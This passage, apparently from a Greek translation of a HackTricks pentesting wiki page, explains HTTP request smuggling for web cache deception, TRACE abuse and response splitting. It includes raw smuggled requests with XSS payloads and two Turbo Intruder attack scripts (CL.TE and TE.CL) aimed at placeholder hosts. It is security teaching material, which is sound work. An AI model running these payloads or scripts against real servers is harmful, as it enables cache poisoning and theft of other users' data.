Στη συνέχεια, οποιοδήποτε αίτημα για /static/include.js θα εξυπηρετεί τον κρυφό κώδικα του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS.

Χρήση της χρήσης HTTP request smuggling για να πραγματοποιήσετε απάτη στην προσωρινή μνήμη του ιστού

Ποια είναι η διαφορά μεταξύ δηλητηρίασης της προσωρινής μνήμης του ιστού και απάτης της προσωρινής μνήμης του ιστού;

• Στη δηλητηρίαση της προσωρινής μνήμης του ιστού, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, το οποίο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
• Στην απάτη της προσωρινής μνήμης του ιστού, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από τη μνήμη cache.

Ο επιτιθέμενος δημιουργεί ένα κατασκευασμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο που αφορά συγκεκριμένο χρήστη. Λάβετε υπόψη το ακόλουθο παράδειγμα:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Εάν αυτό το κρυφό αίτημα δηλητηριάσει μια καταχώριση cache που προορίζεται για στατικό περιεχόμενο (π.χ., /someimage.png), τα ευαίσθητα δεδομένα του θύματος από το /private/messages ενδέχεται να αποθηκευτούν υπό την καταχώριση cache του στατικού περιεχομένου. Ως εκ τούτου, ο επιτιθέμενος θα μπορούσε πιθανόν να ανακτήσει αυτά τα αποθηκευμένα ευαίσθητα δεδομένα.

Κατάχρηση του TRACE μέσω HTTP Request Smuggling

Σε αυτήν την ανάρτηση προτείνεται ότι εάν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατή η κατάχρησή της με τη χρήση HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντανακλά οποιαδήποτε κεφαλίδα που στέλνεται στο διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Θα στείλει μια απάντηση όπως:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ένα παράδειγμα για το πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά θα ήταν να εισχωρήσετε πρώτα ένα αίτημα HEAD. Αυτό το αίτημα θα απαντηθεί μόνο με τα headers ενός αιτήματος GET (Content-Type μεταξύ αυτών). Και να εισχωρήσετε αμέσως μετά το HEAD ένα αίτημα TRACE, το οποίο θα αντανακλά τα απεσταλμένα δεδομένα.
Καθώς η απάντηση HEAD θα περιέχει έναν κεφαλίδα Content-Length, η απάντηση του αιτήματος TRACE θα χειριστεί ως το σώμα της απάντησης HEAD, αντανακλώντας οποιαδήποτε δεδομένα στην απάντηση.
Αυτή η απάντηση θα σταλεί στο επόμενο αίτημα μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να χρησιμοποιηθεί σε ένα αρχείο JS που έχει αποθηκευτεί στη μνήμη cache για παράδειγμα για να ενσωματώσετε αυθαίρετο κώδικα JS.

Κατάχρηση του TRACE μέσω HTTP Response Splitting

Συνιστάται να συνεχίσετε να ακολουθείτε αυτή την ανάρτηση προτείνεται ένας άλλος τρόπος εκμετάλλευσης της μεθόδου TRACE. Όπως σχολιάζεται, είναι δυνατό να εισχωρήσετε ένα αίτημα HEAD και ένα αίτημα TRACE για να ελέγξετε κάποια αντανακλώμενα δεδομένα στην απάντηση στο αίτημα HEAD. Το μήκος του σώματος του αιτήματος HEAD υποδηλώνεται βασικά στον κεφαλίδα Content-Length και διαμορφώνεται από την απάντηση στο αίτημα TRACE.

Επομένως, η νέα ιδέα θα ήταν ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που δίνονται στην απάντηση TRACE, είναι δυνατό να κάνετε την απάντηση TRACE να περιέχει μια έγκυρη απάντηση HTTP μετά το τελευταίο byte του Content-Length, επιτρέποντας σε έναν επιτιθέμενο να ελέγχει πλήρως το αίτημα προς την επόμενη απάντηση (το οποίο θα μπορούσε να χρησιμοποιηθεί για να πραγματοποιηθεί μόλυνση της μνήμης cache).

Παράδειγμα:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length κάνοντας την απάντηση TRACE μέρος του σώματος του HEAD και μόλις το Content-Length του HEAD τελειώσει, μια έγκυρη HTTP απάντηση εισάγεται κρυφά):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Οπλοποιώντας το HTTP Request Smuggling με την Ασυμμετρία της Απάντησης HTTP

Έχετε βρει μια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε. Δοκιμάστε αυτήν τη μέθοδο εκμετάλλευσης:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Άλλες Τεχνικές HTTP Request Smuggling

• Browser HTTP Request Smuggling (Πλευρά Πελάτη)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

• Εκμετάλλευση Αιτημάτων σε Υποβαθμίσεις HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Σενάρια Turbo Intruder

CL.TE

Από https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Από: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Εργαλεία

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική χρήσιμος για την εύρεση παράξενων ανισοτήτων στην αιτηση για smuggling.

Αναφορές

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
• Αποκτήστε το επίσημο PEASS & HackTricks swag
• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
• Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.